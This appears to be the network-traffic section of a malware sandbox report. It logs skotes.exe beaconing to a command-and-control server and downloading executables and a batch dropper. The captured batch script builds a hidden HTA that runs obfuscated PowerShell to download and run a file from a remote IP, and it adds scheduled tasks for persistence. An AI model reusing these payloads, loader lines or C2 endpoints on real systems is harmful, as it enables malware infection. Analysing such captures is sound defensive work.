Jan 12, 2025 17:39:53.379910946 CET	1236	IN	Data Raw: 70 73 14 00 00 0a 7a 2a 00 00 1a 28 01 00 00 06 2a 00 13 30 06 00 75 00 00 00 02 00 00 11 16 0a 7e 05 00 00 04 7e 05 00 00 04 8e 69 7e 02 00 00 04 7e 02 00 00 04 8e 69 28 09 00 00 06 7e 04 00 00 04 7e 04 00 00 04 8e 69 7e 03 00 00 04 7e 03 00 00 Data Ascii: psz(0u~~i~~i(~~i~~i(~~i@(~ ~(&2(u(v(u%(0: 8
Jan 12, 2025 17:39:53.379930973 CET	224	IN	Data Raw: 00 00 04 16 8d 09 00 00 01 80 1a 00 00 04 16 8d 03 00 00 01 80 1b 00 00 04 17 80 1c 00 00 04 16 80 1d 00 00 04 73 31 00 00 0a 80 1e 00 00 04 16 80 1f 00 00 04 16 6a 80 20 00 00 04 14 80 21 00 00 04 14 80 22 00 00 04 16 6a 80 23 00 00 04 16 80 24 Data Ascii: s1j !"j#$%&'~0()s2+,-./0~01(3&EP*0W
Jan 12, 2025 17:39:53.379944086 CET	1236	IN	Data Raw: 00 11 1f 10 8d 1e 00 00 01 0a 20 c0 01 00 00 02 8e 69 1e 5a 20 00 02 00 00 5d 59 20 00 02 00 00 58 20 00 02 00 00 5d 13 08 11 08 3a 07 00 00 00 20 00 02 00 00 13 08 02 8e 69 6a 11 08 1e 5c 6e 58 1e 6a 58 6d 13 0a 02 8e 69 6a 1e 6a 5a 13 09 11 0a Data Ascii: iZ ]Y X ]: ij\nXjXmijjZ8Xi?i%G `R8$njYYZ?_d j_Y=iZ \ #Eg vT28b
Jan 12, 2025 17:39:53.379956961 CET	1236	IN	Data Raw: 32 06 28 1a 00 00 06 12 05 11 06 09 11 04 1f 0e 1f 0f 1f 33 06 28 1a 00 00 06 12 04 11 05 11 06 09 1b 1f 15 1f 34 06 28 1a 00 00 06 12 03 11 04 11 05 11 06 1f 0c 1c 1f 35 06 28 1a 00 00 06 12 06 09 11 04 11 05 19 1f 0a 1f 36 06 28 1a 00 00 06 12 Data Ascii: 2(3(4(5(6(7(8(9(:(;(<(=(>(?(
Jan 12, 2025 17:39:53.379970074 CET	448	IN	Data Raw: 00 00 0a 26 dd 0c 00 00 00 26 17 80 0e 00 00 04 dd 16 00 00 00 00 28 3b 00 00 0a 80 0e 00 00 04 dd 06 00 00 00 26 dd 00 00 00 00 2a 00 00 01 1c 00 00 00 00 00 00 0b 0b 00 0c 14 00 00 01 00 00 18 00 0f 27 00 06 14 00 00 01 76 28 1c 00 00 06 3a 0c Data Ascii: &&(;&'v(:s:(<(088+iB8io=&(#YB6o>&*0Z8Jo?(ZXjXo@oAoA
Jan 12, 2025 17:39:53.380409002 CET	1236	IN	Data Raw: 08 16 13 09 16 13 0a 11 06 16 3e 06 00 00 00 11 07 17 58 13 07 16 13 0b 16 13 0e 38 4d 01 00 00 11 0e 1a 5a 13 0f 20 ff 00 00 00 13 10 16 13 11 11 0e 11 07 17 59 40 46 00 00 00 11 06 16 3e 3e 00 00 00 16 13 0a 16 13 12 38 25 00 00 00 11 12 16 3e Data Ascii: >X8MZ Y@F>>8%>biXY`X?8+XbXb`Xb``((XY@S>Ka8.>bX
Jan 12, 2025 17:39:53.380434990 CET	224	IN	Data Raw: 00 00 0a 6f 6c 00 00 0a 0d 09 39 3b 00 00 00 09 8e 39 34 00 00 00 08 17 09 16 91 9c 08 19 09 17 91 9c 08 1b 09 18 91 9c 08 1d 09 19 91 9c 08 1f 09 09 1a 91 9c 08 1f 0b 09 1b 91 9c 08 1f 0d 09 1c 91 9c 08 1f 0f 09 1d 91 9c 16 13 04 38 14 00 00 00 Data Ascii: ol9;948aXi?@U(%omon(:so%iop%oq(;oror~~os(t9
Jan 12, 2025 17:39:53.380708933 CET	1236	IN	Data Raw: 00 1f 50 80 12 00 00 04 73 1d 00 00 06 07 08 06 28 1e 00 00 06 2a 13 30 05 00 22 00 00 00 0d 00 00 11 72 62 03 00 70 28 75 00 00 0a 26 02 28 76 00 00 0a 0a 28 77 00 00 0a 06 16 06 8e 69 6f 21 00 00 0a 2a 00 00 0a 1b 2a 00 1b 30 02 00 12 00 00 00 Data Ascii: Ps(0"rbp(u&(v(wio!0(3&0ST(-rp,%4(-%,(-(x%4%oyt1*0t3oz({
Jan 12, 2025 17:39:53.384856939 CET	1236	IN	Data Raw: 06 2a 01 10 00 00 02 00 0a 00 37 41 00 0d 00 00 00 00 1a 73 88 00 00 0a 2a 00 32 02 74 4b 00 00 01 6f 89 00 00 0a 2a 00 00 00 13 30 06 00 65 00 00 00 10 00 00 11 28 3a 00 00 06 0a 28 1f 00 00 06 0b 07 1f 20 8d 1d 00 00 01 25 d0 3d 00 00 04 28 16 Data Ascii: 7As2tKo0e(:( %=(o%@(ooso%iopor(;(urrpoi&&%%rrpoi&&%%rr2poi&&%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49994	185.215.113.43	80	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:39:56.225792885 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 33 38 38 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1038856001&unit=246122658369
Jan 12, 2025 17:39:57.131603956 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:39:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49997	31.41.244.11	80	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:39:57.163604975 CET	65	OUT	GET /files/668741820/bKIFsVe.exe HTTP/1.1 Host: 31.41.244.11
Jan 12, 2025 17:39:57.856265068 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:39:57 GMT Content-Type: application/octet-stream Content-Length: 1918464 Last-Modified: Sun, 12 Jan 2025 10:35:12 GMT Connection: keep-alive ETag: "67839ae0-1d4600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 53 a5 70 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 9a 03 00 00 06 02 00 00 00 00 00 00 e0 4c 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 4d 00 00 04 00 00 50 c9 1d 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f0 ca 4c 00 57 00 00 00 56 70 05 00 6a 00 00 00 00 60 05 00 08 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSpgL@MPLWVpj`q P@.rsrc`@.idata p@ ,@gyqqudfzP2~@uqvvkgldL @.taggant0L"$@
Jan 12, 2025 17:39:57.856293917 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:39:57.856307983 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:39:57.856319904 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 12, 2025 17:39:57.856334925 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: w?8>>V5-a6_w.
Jan 12, 2025 17:39:57.856347084 CET	1236	IN	Data Raw: f6 fb 33 df 94 fe 30 3b c9 3e 9a f3 8a 9a 9f 2f 81 41 93 0b 0e 59 70 4d ca c6 c7 f7 da 33 74 7e eb 20 f3 8b 43 05 1e f7 33 51 7c 8f f4 14 a3 60 cf a3 59 e1 9b 6f 6f 3a ba 82 85 43 07 5b 9c 27 89 42 35 a6 c7 6d 93 e7 76 0e 83 a2 32 09 92 fa 92 6d Data Ascii: 30;>/AYpM3t~ C3Q\|`Yoo:C['B5mv2m&o;aSgxJcwgw/2+t=i:edf'#h.6% :hCs`;H1imq/AL"s;}pA[cH/%fY
Jan 12, 2025 17:39:57.856362104 CET	672	IN	Data Raw: 8f 98 e1 4b 8f bd ae 6b f0 d3 51 e4 2b 03 12 6e d4 57 e1 0a 08 d6 b9 33 ba 2f d7 c2 ac 2c 8b 7e 98 3a 26 71 2e 82 ef c6 06 30 46 d7 45 3a 34 8d 8a 6f f8 7a c9 d9 34 46 f1 95 ef 7e bf 21 1d a6 75 46 a6 76 83 7f 9f fc 9d d8 9f 02 6e 2e 9d b2 62 f3 Data Ascii: KkQ+nW3/,~:&q.0FE:4oz4F~!uFvn.b>?6Py'FP"n~l-!H{,RISCi;4#f_Wj/n3F.{sS;.z/#)P+Si8\|<C^=iQ74NA
Jan 12, 2025 17:39:57.856374979 CET	1236	IN	Data Raw: 17 74 6d b3 d3 4b 3a 27 48 73 13 fe 96 44 2f 37 df 01 ba e1 10 ab ae e0 5f 1d 3b b9 a8 35 0f 83 d8 6d 9d 57 25 41 f9 e2 0f 6c 58 71 7b 04 ef 3b 73 5b 0b f3 64 38 8b 88 4c 36 b1 e8 33 23 07 fa bc 6c d7 9c 73 5f 50 77 d4 82 00 18 d3 da b9 e0 bd 6d Data Ascii: tmK:'HsD/7_;5mW%AlXq{;s[d8L63#ls_Pwm'-.a=)_U,)\~~:ANtr_wUwk.[;CKNND6!9^3x6w{h8mhFgN "('!wV73$ h
Jan 12, 2025 17:39:57.856389046 CET	1236	IN	Data Raw: e5 03 eb 36 0c ae ad 99 46 bc 6c ae b2 1b 1b 4d db 3c ab 7f 8e 2b 13 94 02 79 d9 0e c7 38 b9 9e 8d 1a 61 df ea 01 63 3b 06 ef dd 68 3f a3 64 7f e0 f2 4a 0e 43 b5 ae 75 74 bf 91 17 f6 ef cf 2e 84 8f 9e 0f 15 13 98 51 ee 51 91 ef ac 35 ef 63 ab 19 Data Ascii: 6FlM<+y8ac;h?dJCut.QQ5cP)i#84_J\|43l.@J8wz?}{~9`gTUm/6Cgf:)Ogv+~i <M?,-Pra-\|~:"VXdG
Jan 12, 2025 17:39:57.856401920 CET	448	IN	Data Raw: 3b 1a e7 d6 4e 8f b5 52 3f ca ad 30 64 60 5b 74 f4 fd 03 65 6c 29 08 77 44 fb 7a 18 2e 50 b5 3e 49 bb 1b 0f 4a 06 51 4e 88 a6 e8 5c a1 34 35 a1 10 6f 68 dc 5a 33 27 df e6 24 fd 73 d6 64 b7 f0 cd 7f f5 c7 4d c7 ac 48 36 da b7 04 57 8a 34 17 2c 19 Data Ascii: ;NR?0d`[tel)wDz.P>IJQN\45ohZ3'$sdMH6W4,X@F3$0d9U]80x`%Mas/+okLcfIxN7qQ5@6k3/aD`Wq9Tdy.d3Ili\|7n#dFI?6.LbsV %z
Jan 12, 2025 17:39:57.861366034 CET	1236	IN	Data Raw: 9a 51 0b 3f aa 2f 30 3a 19 97 86 0f 16 d0 51 07 c2 c7 63 4c 58 2f 6e 8d ca e1 e5 b8 1f 31 36 2f c8 38 13 14 f2 d4 94 48 b6 7b a8 7c 1b 33 7f 4d ae c0 34 96 fa 90 e0 4d 4e 12 5d ee c0 1b 7b 0e ab 0a d6 4e 11 b2 d5 63 b5 fa c4 31 fb 32 bf 9b 8e a1 Data Ascii: Q?/0:QcLX/n16/8H{\|3M4MN]{Nc12*Hsa`y:(Yk,?d6tu3\^{.+\|?"r0l@zHanTUG@l-&l87=SJi{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	50003	185.215.113.43	80	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:40:02.150897026 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 33 38 39 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1038908001&unit=246122658369
Jan 12, 2025 17:40:02.845464945 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:40:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	50006	185.215.113.16	80	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:40:02.856045008 CET	55	OUT	GET /test/random.exe HTTP/1.1 Host: 185.215.113.16
Jan 12, 2025 17:40:03.566065073 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:40:02 GMT Content-Type: application/octet-stream Content-Length: 91648 Last-Modified: Sun, 12 Jan 2025 16:11:09 GMT Connection: keep-alive ETag: "6783e99d-16600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 62 05 40 5d 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 02 32 00 0c 01 00 00 56 00 00 00 00 00 00 00 10 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 01 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 7c 71 01 00 c8 00 00 00 00 90 01 00 f8 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELb@]2V0@\|qpt,.code78 `.textP< `.rdata304@@.data,pD@.rsrcV@@
Jan 12, 2025 17:40:03.566119909 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 ac 00 00 00 68 00 00 00 00 68 10 80 41 00 e8 5c 40 00 00 83 c4 0c 68 00 00 00 00 Data Ascii: hhhA\@hU@AhhhB@A?pA4AICZx}@Ck.pAA?h?<APAP1Phh
Jan 12, 2025 17:40:03.566143036 CET	1236	IN	Data Raw: 01 00 00 00 68 04 00 00 00 e8 1e c7 00 00 8d 54 24 14 52 68 00 00 00 00 68 05 00 00 00 68 01 00 00 00 68 04 00 00 00 e8 00 c7 00 00 ff 74 24 04 e8 ad 86 00 00 8b 44 24 50 eb 02 31 c0 ff 34 24 e8 6d ca 00 00 50 ff 74 24 10 e8 30 c8 00 00 ff 74 24 Data Ascii: hT$Rhhhht$D$P14$mPt$0t$'X@_[]US$JuA2\|AuhAt1!&pAP5AB$D$$;D$RZPRZPfpAP
Jan 12, 2025 17:40:03.566159010 CET	1236	IN	Data Raw: 00 c7 04 24 00 00 00 00 eb 00 b8 03 00 00 00 3b 04 24 7c 64 a1 34 80 41 00 0f be 00 89 44 24 04 ff 05 34 80 41 00 52 e8 e2 c4 00 00 5a 50 52 e8 da c4 00 00 5a 50 8b 5c 24 0c 6b db ff 53 e8 0b 44 00 00 8d 44 24 0c 50 e8 01 c5 00 00 8b 54 24 0c 52 Data Ascii: $;$\|d4AD$4ARZPRZP\$kSDD$PT$RZPROT$RED$P$qhD$RZPRzZPID$Pt$h$pAPt$ k6RKZPRCZPt$xxAPl5xA5xA
Jan 12, 2025 17:40:03.566174030 CET	1236	IN	Data Raw: ff 74 24 10 e8 01 c1 00 00 83 c4 18 5b 5d c3 53 31 c0 50 50 e8 61 c1 00 00 ff 74 24 14 e8 38 33 00 00 52 e8 12 c0 00 00 5a 50 52 e8 0a c0 00 00 5a 50 e8 1b 78 00 00 8d 44 24 04 50 e8 39 c0 00 00 ff 34 24 e8 d8 34 00 00 8b 5c 24 10 21 db 7e 49 52 Data Ascii: t$[]S1PPat$83RZPRZPxD$P94$4\$!~IRZPMD$P$RZPRa*pARVT$RLD$P$RZPR/D$PT$R{ZPRXP\2Zf4$%t$[
Jan 12, 2025 17:40:03.566227913 CET	1236	IN	Data Raw: 00 5a 50 52 e8 5d bb 00 00 5a 50 ff 74 24 1c e8 32 3d 00 00 e8 4f 2e 00 00 01 14 24 e8 c5 ad 00 00 8d 44 24 10 50 e8 7b bb 00 00 ff 74 24 0c 8b 54 24 04 59 e8 cd 2d 00 00 75 59 52 e8 25 bb 00 00 5a 50 68 10 00 00 00 52 e8 18 bb 00 00 5a 50 52 e8 Data Ascii: ZPR]ZPt$2=O.$D$P{t$T$Y-uYR%ZPhRZPRZP5Aht$j45dA-T$j-hhT$RZPRTXP-Zft$et$\4$Tt$K[S
Jan 12, 2025 17:40:03.566243887 CET	1236	IN	Data Raw: 2c 68 0a 00 00 00 ff 74 24 2c ff 35 54 80 41 00 e8 d9 28 00 00 89 44 24 30 83 7c 24 2c 00 0f 84 bd 00 00 00 ff 74 24 2c ff 35 54 80 41 00 e8 97 fe ff ff 89 44 24 34 ff 74 24 34 e8 c1 1e 00 00 99 52 50 8f 44 24 08 8f 44 24 08 8b 15 50 80 41 00 52 Data Ascii: ,ht$,5TA(D$0\|$,t$,5TAD$4t$4RPD$D$PAR;ZPRlAR\$$-AkURD$<PE5HAD$Pt$<Ot$t$t$<t$D[Au\$ -Akut$<{~\|$0$t$05T
Jan 12, 2025 17:40:03.566257954 CET	1000	IN	Data Raw: 00 8b 5c 24 04 83 fb 01 75 24 52 e8 ae b1 00 00 5a 50 52 e8 a6 b1 00 00 5a 50 8b 44 24 08 50 e8 da 6e 00 00 8d 44 24 04 50 e8 d0 b1 00 00 52 e8 8a b1 00 00 5a 50 52 e8 82 b1 00 00 5a 50 52 e8 7a b1 00 00 5a 50 52 e8 72 b1 00 00 5a 50 68 01 00 00 Data Ascii: \$u$RZPRZPD$PnD$PRZPRZPRzZPRrZPht$_$$1D$Pht$5TA#D$\|$t$5TAQD$t${ A5HA5 At$PRZPRZP5 At$cn$AP
Jan 12, 2025 17:40:03.566273928 CET	1236	IN	Data Raw: 00 00 5a 50 ff 74 24 08 e8 ed f0 ff ff e8 e4 20 00 00 52 e8 be ad 00 00 5a 50 52 e8 b6 ad 00 00 5a 50 b8 24 70 41 00 50 ff 35 28 80 41 00 e8 78 62 00 00 8d 44 24 0c 50 e8 d9 ad 00 00 8b 54 24 08 31 c9 e8 2e 20 00 00 0f 85 46 01 00 00 52 e8 82 ad Data Ascii: ZPt$ RZPRZP$pAP5(AxbD$PT$1. FRZPRzZPRrZPRjZPh5HAU ${-D$PR;ZPR3ZPR+ZPR#ZPh5HA $4-D$P:RZPht$;
Jan 12, 2025 17:40:03.566288948 CET	1236	IN	Data Raw: b8 01 00 00 00 eb 02 31 c0 83 c4 04 5b 5d c3 53 31 c0 50 50 e8 29 aa 00 00 ff 74 24 18 e8 00 1c 00 00 8b 54 24 14 8d 0c 24 e8 b4 1a 00 00 ff 74 24 10 31 db 3b 1c 24 75 24 52 e8 c3 a8 00 00 5a 50 52 e8 bb a8 00 00 5a 50 e8 29 72 00 00 8d 44 24 0c Data Ascii: 1[]S1PP)t$T$$t$1;$u$RZPRZP)rD$P9;$u#xARZPR'D$P;$u)RhZPR`ZPhrD$P;$u)R5ZPR-ZPhqD$PW
Jan 12, 2025 17:40:03.571197033 CET	1236	IN	Data Raw: 50 68 01 00 00 00 ff 74 24 28 e8 76 02 00 00 e8 3a 17 00 00 52 e8 14 a4 00 00 5a 50 68 00 00 00 00 ff 74 24 1c e8 5b 02 00 00 8d 05 5c 80 41 00 50 e8 38 a4 00 00 52 e8 f2 a3 00 00 5a 50 68 00 00 00 00 ff 74 24 20 e8 39 02 00 00 8d 44 24 28 50 e8 Data Ascii: Pht$(v:RZPht$[\AP8RZPht$ 9D$(PRZPht$$D$,PRZPht$D$0PRZPRZPRZP5pAp`pAPt$4cT$(+D$(PRHZPR@ZPR8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	50011	185.215.113.43	80	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:40:06.487416983 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 33 38 39 37 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1038971001&unit=246122658369
Jan 12, 2025 17:40:07.184784889 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:40:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	50012	185.215.113.16	80	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 17:40:07.206521988 CET	54	OUT	GET /test/am_no.bat HTTP/1.1 Host: 185.215.113.16
Jan 12, 2025 17:40:07.925666094 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 12 Jan 2025 16:40:06 GMT Content-Type: application/octet-stream Content-Length: 2647 Last-Modified: Sun, 12 Jan 2025 12:16:46 GMT Connection: keep-alive ETag: "6783b2ae-a57" Accept-Ranges: bytes Data Raw: 40 65 63 68 6f 20 6f 66 66 0d 0a 69 66 20 22 25 7e 31 22 20 3d 3d 20 22 22 20 28 73 74 61 72 74 20 22 22 20 2f 6d 69 6e 20 22 25 63 6f 6d 73 70 65 63 25 22 20 2f 63 20 22 25 7e 66 30 22 20 61 6e 79 5f 77 6f 72 64 20 26 20 65 78 69 74 20 2f 62 29 0d 0a 0d 0a 73 65 74 20 22 66 69 6c 65 50 61 74 68 3d 25 53 79 73 74 65 6d 44 72 69 76 65 25 5c 54 65 6d 70 22 0d 0a 69 66 20 6e 6f 74 20 65 78 69 73 74 20 22 25 66 69 6c 65 50 61 74 68 25 22 20 28 0d 0a 20 20 20 20 6d 6b 64 69 72 20 22 25 66 69 6c 65 50 61 74 68 25 22 0d 0a 20 20 20 20 74 69 6d 65 6f 75 74 20 2f 74 20 32 20 3e 6e 75 6c 0d 0a 20 20 20 20 69 66 20 6e 6f 74 20 65 78 69 73 74 20 22 25 66 69 6c 65 50 61 74 68 25 22 20 65 78 69 74 20 2f 62 0d 0a 29 0d 0a 0d 0a 66 6f 72 20 2f 66 20 22 74 6f 6b 65 6e 73 3d 2a 22 20 25 25 69 20 69 6e 20 28 27 70 6f 77 65 72 73 68 65 6c 6c 20 2d 63 6f 6d 6d 61 6e 64 20 22 2d 6a 6f 69 6e 20 28 28 34 38 2e 2e 35 37 29 20 2b 20 28 36 35 2e 2e 39 30 29 20 2b 20 28 39 37 2e 2e 31 32 32 29 20 7c 20 47 65 74 2d 52 61 6e 64 [TRUNCATED] Data Ascii: @echo offif "%~1" == "" (start "" /min "%comspec%" /c "%~f0" any_word & exit /b)set "filePath=%SystemDrive%\Temp"if not exist "%filePath%" ( mkdir "%filePath%" timeout /t 2 >nul if not exist "%filePath%" exit /b)for /f "tokens=*" %%i in ('powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"') do set "htaName=%%i"set "htaFile=%filePath%\%htaName%.hta"( echo ^<script^> echo try { echo moveTo(-100, -100^); echo resizeTo(0, 0^); echo var a = new ActiveXObject('Wscript.Shell'^); echo var script = decodeURIComponent("%%50%%6f%%77%%65%%72%%53%%68%%65%%6c%%6c%%20%%2d%%57%%69%%6e%%64%%6f%%77%%53%%74%%79%%6c%%65%%20%%48%%69%%64%%64%%65%%6e%%20%%24%%64%%3d%%24%%65%%6e%%76%%3a%%74%%65%%6d%%70%%2b%%27%%5c%%34%%38%%33%%64%%32%%66%%61%%38%%61%%30%%64%%35%%33%%38%%31%%38%%33%%30%%36%%65%%66%%65%%62%%33%%32%%64%%33%%2e%%65%%78%%65%%27%%3b
Jan 12, 2025 17:40:07.925724983 CET	1236	IN	Data Raw: 25 25 32 38 25 25 34 65 25 25 36 35 25 25 37 37 25 25 32 64 25 25 34 66 25 25 36 32 25 25 36 61 25 25 36 35 25 25 36 33 25 25 37 34 25 25 32 30 25 25 35 33 25 25 37 39 25 25 37 33 25 25 37 34 25 25 36 35 25 25 36 64 25 25 32 65 25 25 34 65 25 25 Data Ascii: %%28%%4e%%65%%77%%2d%%4f%%62%%6a%%65%%63%%74%%20%%53%%79%%73%%74%%65%%6d%%2e%%4e%%65%%74%%2e%%57%%65%%62%%43%%6c%%69%%65%%6e%%74%%29%%2e%%44%%6f%%77%%6e%%6c%%6f%%61%%64%%46%%69%%6c%%65%%28%%27%%68%%74%%74%%70%%3a%%2f%%2f%%31%%38%%35%%2e%%32%%3
Jan 12, 2025 17:40:07.925764084 CET	438	IN	Data Raw: 65 66 69 78 32 3d 25 25 69 22 0d 0a 66 6f 72 20 2f 66 20 22 74 6f 6b 65 6e 73 3d 2a 22 20 25 25 69 20 69 6e 20 28 27 70 6f 77 65 72 73 68 65 6c 6c 20 2d 63 6f 6d 6d 61 6e 64 20 22 2d 6a 6f 69 6e 20 28 28 34 38 2e 2e 35 37 29 20 2b 20 28 36 35 2e Data Ascii: efix2=%%i"for /f "tokens=*" %%i in ('powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"') do set "taskSuffix2=%%i"set "newTaskName2=%taskPrefix2%ev%taskSuffix2%"schtasks /c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	50017	185.215.113.43	80	7236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
